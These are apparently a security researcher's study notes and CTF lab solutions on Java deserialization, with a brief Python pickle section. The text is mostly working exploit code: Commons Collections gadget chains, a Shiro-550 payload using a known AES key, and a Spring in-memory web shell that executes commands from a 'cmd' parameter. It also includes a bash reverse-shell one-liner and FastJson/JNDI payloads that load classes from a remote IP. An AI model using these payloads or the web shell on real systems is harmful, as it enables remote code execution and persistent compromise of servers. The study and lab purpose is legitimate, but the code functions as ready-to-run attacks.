import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import sun.misc.BASE64Decoder;
import sun.misc.BASE64Encoder;

import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
import java.util.Map;


/**
 * @author L1ao
 * @version 1.0
 */
public class CommonCollections1 {
 public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
 Field field = obj.getClass().getDeclaredField(fieldName);
 field.setAccessible(true);
 field.set(obj, value);
 }

 private static String getClassBytes(Class<?> clazz) throws Exception {
 String className = clazz.getName().replace('.', '/') + ".class";
 URL classUrl = clazz.getClassLoader().getResource(className);
 try (InputStream in = classUrl.openStream(); ByteArrayOutputStream out = new ByteArrayOutputStream()) {
 byte[] buffer = new byte[4096];
 int n;
 while ((n = in.read(buffer)) > 0) {
 out.write(buffer, 0, n);
 }
 byte[] classBytes = out.toByteArray();
 String base64Class = new BASE64Encoder().encode(classBytes);
 String msg = base64Class.replaceAll("(\\\r\\\n|\\\r|\\\n|\\\n\\\r)", "");
 return msg;
 }
 }

 public static void main(String[] args) throws Exception {

 BASE64Decoder base64Decoder = new BASE64Decoder();
 byte[] code = base64Decoder.decodeBuffer(getClassBytes(evil.HelloTemplatesImpl.class));

 TemplatesImpl templatesImplObj = new TemplatesImpl();
 setFieldValue(templatesImplObj, "_bytecodes", new byte[][] {code});
 setFieldValue(templatesImplObj, "_name", "HelloTemplatesImpl");
 setFieldValue(templatesImplObj, "_tfactory", new TransformerFactoryImpl());

 Transformer[] transformers = new Transformer[] {
 new ConstantTransformer(templatesImplObj),
 new InvokerTransformer("newTransformer",null,null)
 };
 Transformer transformerChain = new ChainedTransformer(transformers);
 Map innerMap = new HashMap();
 innerMap.put("value","xxxx");
 Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

 Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
 Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class);
 constructor.setAccessible(true);
 Object obj = constructor.newInstance(Retention.class, outerMap);

 ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
 ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
 objectOutputStream.writeObject(obj);
 BASE64Encoder b64 = new BASE64Encoder();
 String encode = b64.encode(byteArrayOutputStream.toByteArray());
 String msg = encode.replaceAll("(\\\r\\\n|\\\r|\\\n|\\\n\\\r)", "");
 System.out.println(msg);
 }
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23


package evil;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class HelloTemplatesImpl extends AbstractTranslet {
 public void transform(DOM document, SerializationHandler[] handlers)
 throws TransletException {}
 public void transform(DOM document, DTMAxisIterator iterator,
 SerializationHandler handler) throws TransletException {}
 public HelloTemplatesImpl() {
 super();
 System.out.println("Hello TemplatesImpl");
 try {
 Runtime.getRuntime().exec("calc.exe");
 }catch (Exception e) {

 }

 }
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20


package com.sec.test;

import sun.misc.BASE64Decoder;

import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;

/**
 * @author L1ao
 * @version 1.0
 */
public class CommonCollectionsDeserializeDemo1 {
 public static void main(String[] args) throws Exception {
 String b64str = "rO0ABXNyADJzdW4ucmVmbGVjdC5hbm5vdGF0aW9uLkFubm90YXRpb25JbnZvY2F0aW9uSGFuZGxlclXK9Q8Vy36lAgACTAAMbWVtYmVyVmFsdWVzdAAPTGphdmEvdXRpbC9NYXA7TAAEdHlwZXQAEUxqYXZhL2xhbmcvQ2xhc3M7eHBzcgAxb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLm1hcC5UcmFuc2Zvcm1lZE1hcGF3P+Bd8VpwAwACTAAOa2V5VHJhbnNmb3JtZXJ0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO0wAEHZhbHVlVHJhbnNmb3JtZXJxAH4ABXhwcHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ2hhaW5lZFRyYW5zZm9ybWVyMMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAtW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHB1cgAtW0xvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuVHJhbnNmb3JtZXI7vVYq8dg0GJkCAAB4cAAAAAJzcgA7b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwc3IAOmNvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRlbXBsYXRlc0ltcGwJV0/BbqyrMwMACUkADV9pbmRlbnROdW1iZXJJAA5fdHJhbnNsZXRJbmRleFoAFV91c2VTZXJ2aWNlc01lY2hhbmlzbUwAGV9hY2Nlc3NFeHRlcm5hbFN0eWxlc2hlZXR0ABJMamF2YS9sYW5nL1N0cmluZztMAAtfYXV4Q2xhc3Nlc3QAO0xjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9IYXNodGFibGU7WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+ABBMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////AHQAA2FsbHB1cgADW1tCS/0ZFWdn2zcCAAB4cAAAAAF1cgACW0Ks8xf4BghU4AIAAHhwAAAGPMr+ur4AAAAzAD0KAAoAJAkAJQAmCAAnCgAoACkKACoAKwgALAoAKgAtBwAuBwAvBwAwAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABlMZXZpbC9IZWxsb1RlbXBsYXRlc0ltcGw7AQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHADEBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEABjxpbml0PgEAAygpVgEADVN0YWNrTWFwVGFibGUHAC8HAC4BAApTb3VyY2VGaWxlAQAXSGVsbG9UZW1wbGF0ZXNJbXBsLmphdmEMAB0AHgcAMgwAMwA0AQATSGVsbG8gVGVtcGxhdGVzSW1wbAcANQwANgA3BwA4DAA5ADoBAAhjYWxjLmV4ZQwAOwA8AQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAF2V2aWwvSGVsbG9UZW1wbGF0ZXNJbXBsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAJAAoAAAAAAAMAAQALAAwAAgANAAAAPwAAAAMAAAABsQAAAAIADgAAAAYAAQAAAAoADwAAACAAAwAAAAEAEAARAAAAAAABABIAEwABAAAAAQAUABUAAgAWAAAABAABABcAAQALABgAAgANAAAASQAAAAQAAAABsQAAAAIADgAAAAYAAQAAAAwADwAAACoABAAAAAEAEAARAAAAAAABABIAEwABAAAAAQAZABoAAgAAAAEAGwAcAAMAFgAAAAQAAQAXAAEAHQAeAAEADQAAAHYAAgACAAAAGiq3AAGyAAISA7YABLgABRIGtgAHV6cABEyxAAEADAAVABgACAADAA4AAAAaAAYAAAAOAAQADwAMABEAFQAUABgAEgAZABYADwAAAAwAAQAAABoAEAARAAAAHwAAABAAAv8AGAABBwAgAAEHACEAAAEAIgAAAAIAI3B0ABJIZWxsb1RlbXBsYXRlc0ltcGxwdwEAeHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXEAfgAQWwALaVBhcmFtVHlwZXNxAH4AE3hwcHQADm5ld1RyYW5zZm9ybWVycHNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABdAAFdmFsdWV0AAR4eHh4eHh2cgAeamF2YS5sYW5nLmFubm90YXRpb24uUmV0ZW50aW9uAAAAAAAAAAAAAAB4cA==";
 BASE64Decoder b64 = new BASE64Decoder();
 byte[] bytes = b64.decodeBuffer(b64str);
 ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes));
 in.readObject();
 }
}

不使用InvokerTransformer

1
2
3
4
5
6


Transformer[] transformers = new Transformer[]{
 new ConstantTransformer(TrAXFilter.class),
 new InstantiateTransformer(
 new Class[] { Templates.class },
 new Object[] { templatesImplObj })
};

shiro 550

tomcat9以上不支持java1.7jre，改用tomcat8

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65


package com.sec.test;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.shiro.util.ByteSource;
import sun.misc.BASE64Decoder;
import sun.misc.BASE64Encoder;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
import org.apache.shiro.crypto.AesCipherService;

public class CommonCollectionsAllKillShiro {
 public static void main(String[] args) throws Exception {
 BASE64Decoder base64Decoder = new BASE64Decoder();
 byte[] code = base64Decoder.decodeBuffer(CommonCollections1.getClassBytes(evil.HelloTemplatesImpl.class));
		
 //TemplatesImpl对象
 TemplatesImpl templatesImplObj = new TemplatesImpl();
 CommonCollections1.setFieldValue(templatesImplObj, "_bytecodes", new byte[][] {code});
 CommonCollections1.setFieldValue(templatesImplObj, "_name", "HelloTemplatesImpl");
 CommonCollections1.setFieldValue(templatesImplObj, "_tfactory", new TransformerFactoryImpl());

 Transformer transformer = new InvokerTransformer("getClass", null, null);

 Map innerMap = new HashMap();
 Map outerMap = LazyMap.decorate(innerMap, transformer);

 TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,templatesImplObj);

 Map expMap = new HashMap();
 expMap.put(tiedMapEntry,"value");
		//outerMap.remove("key");
 outerMap.clear();

 CommonCollections1.setFieldValue(transformer, "iMethodName", "newTransformer");
 ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
 ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
 objectOutputStream.writeObject(expMap);
 objectOutputStream.close();

 byte[] payloads = byteArrayOutputStream.toByteArray();
 AesCipherService aes = new AesCipherService();

 BASE64Decoder b64 = new BASE64Decoder();
 byte[] key = b64.decodeBuffer("kPH+bIxk5D2deZiIxcaaaA==");
 ByteSource ciphertext = aes.encrypt(payloads, key);
 System.out.printf(ciphertext.toString());

 }
}

加载字节码

类不用包，否则报找不到类

URL[] urls = {new URL("http://101.43.57.52:11012/")};
URLClassLoader loader = URLClassLoader.newInstance(urls);
Class c = loader.loadClass("SqlI");
c.newInstance();

5 javaDeserializeLabs

Lab1

直接修改Calc类的属性然后序列化他再编码即可

命令执行exec:

1

bash -c {echo,base64encode}|{base64,-d}|{bash,-i}

Lab2

cc6改一下注意writeInt和writeUTF的顺序

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70


package com.test;

import com.yxxx.javasec.deserialize.Utils;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

/**
 * @author L1ao
 * @version 1.0
 */
public class Main {
 public static void main(String[] args) throws Exception {
 Transformer[] fakeTransformers = new Transformer[]{
 new ConstantTransformer(1)
 };
 Transformer[] transformers = new Transformer[] {
 new ConstantTransformer(Runtime.class),
 new InvokerTransformer("getMethod",
 new Class[] { String.class, Class[].class },
 new Object[] { "getRuntime", new Class[0] }),
 new InvokerTransformer("invoke",
 new Class[] { Object.class, Object[].class },
 new Object[] { null, new Object[0] }),
 new InvokerTransformer("exec",
 new Class[] { String.class },
 new String[] {"calc.exe" }),
 };
 Transformer transformerChain = new ChainedTransformer(fakeTransformers);

 Map innerMap = new HashMap();
 Map outerMap = LazyMap.decorate(innerMap, transformerChain);


 TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,"key");

 Map expMap = new HashMap();
 expMap.put(tiedMapEntry,"value");

 outerMap.remove("key");

 Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
 f.setAccessible(true);
 f.set(transformerChain,transformers);


 ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
 ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
 objectOutputStream.writeUTF("SJTU");
 objectOutputStream.writeInt(1896);
 objectOutputStream.writeObject(expMap);
 System.out.println(Utils.bytesTohexString(byteArrayOutputStream.toByteArray()));
// ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
// Object o = (Object)ois.readObject();
 }
}

Lab3

上一个payload报：java.lang.ClassNotFoundException: [Lorg.apache.commons.collections.Transformer;

读安全漫谈的时候说会过滤Transformer的数组，用TiedMapEntry绕过即可

报错：java.io.StreamCorruptedException: invalid type code: CA

还是年轻

具体什么原因呢？这里通过报错的堆栈来进行跟随即可，可以发现在反序列化TemplatesImpl出现了问题，调试发现在反序列化TemplatesImpl的时候，相关属性存在数组，所以同样会触发数组反序列化的问题，所以这里的话TemplatesImpl同样不可取了

RMI二次反序列化绕过，解同lab4

lab4

https://blog.csdn.net/mole_exp/article/details/123992395

内存马 spring 2.*

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89


package com.test;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Scanner;

/**
 * 适用于 SpringMVC+Tomcat的环境，以及Springboot 2.x 环境.
 * 因此比 SpringControllerMemShell.java 更加通用
 * Springboot 1.x 和 3.x 版本未进行测试
 */
public class SpringControllerMemShell2 extends AbstractTranslet {

 public void transform(DOM document, SerializationHandler[] handlers)
 throws TransletException {}
 public void transform(DOM document, DTMAxisIterator iterator,
 SerializationHandler handler) throws TransletException {}

 public SpringControllerMemShell2() {
 try {
 System.out.println("bbnn");
 WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
 RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
 Field configField = mappingHandlerMapping.getClass().getDeclaredField("config");
 configField.setAccessible(true);
 RequestMappingInfo.BuilderConfiguration config =
 (RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping);
 Method method2 = SpringControllerMemShell2.class.getMethod("test");
 RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
 RequestMappingInfo info = RequestMappingInfo.paths("/malicious")
 .options(config)
 .build();
 SpringControllerMemShell2 springControllerMemShell = new SpringControllerMemShell2("aaa");
 mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2);
 } catch (Exception e) {

 }
 }

 public SpringControllerMemShell2(String aaa) {
 }

 public void test() throws IOException {
 System.out.println("nnmm");
 HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
 HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
 try {
 String arg0 = request.getParameter("cmd");
 PrintWriter writer = response.getWriter();
 if (arg0 != null) {
 String o = "";
 ProcessBuilder p;
 if (System.getProperty("os.name").toLowerCase().contains("win")) {
 p = new ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
 } else {
 p = new ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
 }
 java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
 o = c.hasNext() ? c.next() : o;
 c.close();
 writer.write(o);
 writer.flush();
 writer.close();
 } else {
 response.sendError(404);
 }
 } catch (Exception e) {
 }
 }
}

反序列化

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114


package com.test;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.security.*;
import java.util.*;

public class Lab4_RMIConnector_self {
 public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
 Field field = obj.getClass().getDeclaredField(fieldName);
 field.setAccessible(true);
 field.set(obj, value);
 }

 private static byte[] getClassBytes(Class<?> clazz) throws Exception {
 String className = clazz.getName().replace('.', '/') + ".class";
 URL classUrl = clazz.getClassLoader().getResource(className);
 try (InputStream in = classUrl.openStream(); ByteArrayOutputStream out = new ByteArrayOutputStream()) {
 byte[] buffer = new byte[4096];
 int n;
 while ((n = in.read(buffer)) > 0) {
 out.write(buffer, 0, n);
 }
 byte[] classBytes = out.toByteArray();
 return classBytes;
 }
 }

 public static String getObject() throws Exception {
 byte[] code = getClassBytes(SpringControllerMemShell2.class);
 TemplatesImpl templatesImplObj = new TemplatesImpl();
 setFieldValue(templatesImplObj, "_bytecodes", new byte[][] {code});
 setFieldValue(templatesImplObj, "_name", "Evil");
 setFieldValue(templatesImplObj, "_tfactory", new TransformerFactoryImpl());

 Transformer[] transformers = new Transformer[] {
 new ConstantTransformer(templatesImplObj),
 new InvokerTransformer("newTransformer",null,null)
 };

 ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{new ConstantTransformer(1)});
// Transformer[] transformers = new Transformer[]{
// new ConstantTransformer(Runtime.class),
// new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[]{}}),
// new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[]{}}),
// new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
// };
 Map map = new HashMap();
 Map lazyMap = LazyMap.decorate(map, chainedTransformer);
 TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"test1");

 HashSet hashSet = new HashSet(1);
 hashSet.add(tiedMapEntry);

 lazyMap.remove("test1");

 //通过反射覆盖原本的iTransformers，防止序列化时在本地执行命令
 setFieldValue(chainedTransformer, "iTransformers", transformers);

 ByteArrayOutputStream barr = new ByteArrayOutputStream();
 ObjectOutputStream oos = new ObjectOutputStream(barr);
 oos.writeObject(hashSet);

 return Base64.getEncoder().encodeToString(barr.toByteArray());
 }

 public static void main(String[] args) throws Exception {
 RMIConnector connector = new RMIConnector(new JMXServiceURL("service:jmx:iiop://127.0.0.1:8000/stub/{$payload}".replace("{$payload}", getObject())), null);

 InvokerTransformer invokerTransformer = new InvokerTransformer("connect", null, null);

 Map<Object,Object> lazyMap = LazyMap.decorate(new HashMap<>(), new ConstantTransformer(1));
 TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, connector);

 HashMap expMap = new HashMap();
 expMap.put(tiedMapEntry, "test");
 lazyMap.remove(connector);
 setFieldValue(lazyMap,"factory", invokerTransformer);

 ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
 ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
 objectOutputStream.writeUTF("SJTU");
 objectOutputStream.writeInt(1896);
 objectOutputStream.writeObject(expMap);
 String s = bytesTohexString(byteArrayOutputStream.toByteArray());
 System.out.println(s);

 }
 public static String bytesTohexString(byte[] bytes) {
 if (bytes == null) {
 return null;
 }
 StringBuilder ret = new StringBuilder(2 * bytes.length);
 for (int i = 0; i < bytes.length; i++) {
 int b = 15 & (bytes[i] >> 4);
 ret.append("0123456789abcdef".charAt(b));
 int b2 = 15 & bytes[i];
 ret.append("0123456789abcdef".charAt(b2));
 }
 return ret.toString();
 }
}

lab5

利用MarshalledObject 的 readResolve 来二次反序列化绕过blacklist

lab6

修复方式与cve的补丁极其相似，绕过即可

参考：https://y4er.com/posts/weblogic-jrmp/

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28


package com.yxxx.javasec.deserialize;

import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.rmi.server.ObjID;
import java.util.Random;

/**
 * @author L1ao
 * @version 1.0
 */
public class JRMPClient {
 public static void main(String[] args) throws Exception {
 ObjID id = new ObjID((new Random()).nextInt());
 TCPEndpoint te = new TCPEndpoint("ip", 38080);
 UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
 ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
 ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
 objectOutputStream.writeUTF("SJTU");
 objectOutputStream.writeInt(1896);
 objectOutputStream.writeObject(ref);
 System.out.println(Utils.bytesTohexString(byteArrayOutputStream.toByteArray()));
 }
}

java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 38080 CommonsCollections6 "bash -c {echo,base64encode}|{base64,-d}|{bash,-i}"

lab7

javax.management.BadAttributeValueExpException

不知道怎么绕

lab8

5 FastJson

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
JSON.parseObject(payload, Feature.SupportNonPublicField);

需要开启 Feature.SupportNonPublicFiel

JdbcRowSetImpl 利⽤链配合JDNI 注入


绕过补丁：L; LL;; [ MyBatis java.lang.Class 利⽤链，利⽤缓存 mappings

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://101.43.57.52:11012/#Exploit


jdk高版本，
 System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
 System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
 String PoC = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://101.43.57.52:1099/Exploit\", \"autoCommit\":true}";
 JSON.parse(PoC);

BadAttributeValueExpException
	JSONArray
		JSON:toString
			JSON:toJSONString
				getOutputProperties
					RCE

JNDI

Python 反序列化

Wed, 20 Oct 2021 00:00:00 +0000

Python 反序列化

就看了一题 md网刃和极客都没做，亏

先解题放payload

pickle反序列化初探 - 先知社区 (aliyun.com)

https://github.com/EddieIvan01/pker

pickle反序列化的利用技巧总结 – 知乎 (zhihu.com)

Python 反序列化漏洞学习笔记 – 1ndex- – 博客园 (cnblogs.com)

pickle反序列化初探 – 先知社区 (aliyun.com)

(28条消息) 极客巅峰2021 web opcode_y0un9er-CSDN博客

ez_python

pic处可以读源码

import pickle
import base64
from flask import Flask, request
from flask import render_template,redirect,send_from_directory
import os
import requests
import random
from flask import send_file

app = Flask(__name__)

class User():
 def __init__(self,name,age):
 self.name = name
 self.age = age

def check(s):
 if b'R' in s:
 return 0
 return 1


@app.route("/")
def index():
 try:
 user = base64.b64decode(request.cookies.get('user'))
 if check(user):
 user = pickle.loads(user)
 username = user["username"]
 else:
 username = "bad,bad,hacker"
 except:
 username = "CTFer"
 pic = '{0}.jpg'.format(random.randint(1,7))
 
 try:
 pic=request.args.get('pic')
 with open(pic, 'rb') as f:
 base64_data = base64.b64encode(f.read())
 p = base64_data.decode()
 except:
